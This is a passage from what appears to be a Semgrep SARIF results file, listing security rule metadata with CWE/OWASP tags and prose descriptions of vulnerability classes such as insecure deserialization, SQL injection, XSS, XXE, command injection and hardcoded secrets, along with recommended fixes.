or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","id":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","name":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","id":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","name":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"help":{"markdown":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug","id":"php.lang.security.search-active-debug.search-active-debug","name":"php.lang.security.search-active-debug.search-active-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-active-debug.search-active-debug"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint","id":"rust.rocket.sql.diesel-taint.diesel-taint","name":"rust.rocket.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url","id":"typescript.react.react-refs-url.react-refs-url","name":"typescript.react.react-refs-url.react-refs-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-refs-url.react-refs-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/dsa](https://www.pycryptodome.org/src/public_key/dsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","id":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","name":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"help":{"markdown":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection","id":"java.lang.security.audit.script-engine-injection.script-engine-injection","name":"java.lang.security.audit.script-engine-injection.script-engine-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.script-engine-injection.script-engine-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","id":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","name":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"help":{"markdown":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","id":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","name":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"help":{"markdown":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","id":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","name":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"help":{"markdown":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","id":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","name":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","id":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","name":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"help":{"markdown":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","id":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","name":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request)\n - [https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/](https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","id":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","name":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR Repository isn't configured to scan images on push"},"help":{"markdown":"The ECR Repository isn't configured to scan images on push\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push)\n - [https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components)\n","text":"The ECR Repository isn't configured to scan images on push"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","id":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","name":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","id":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","name":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep 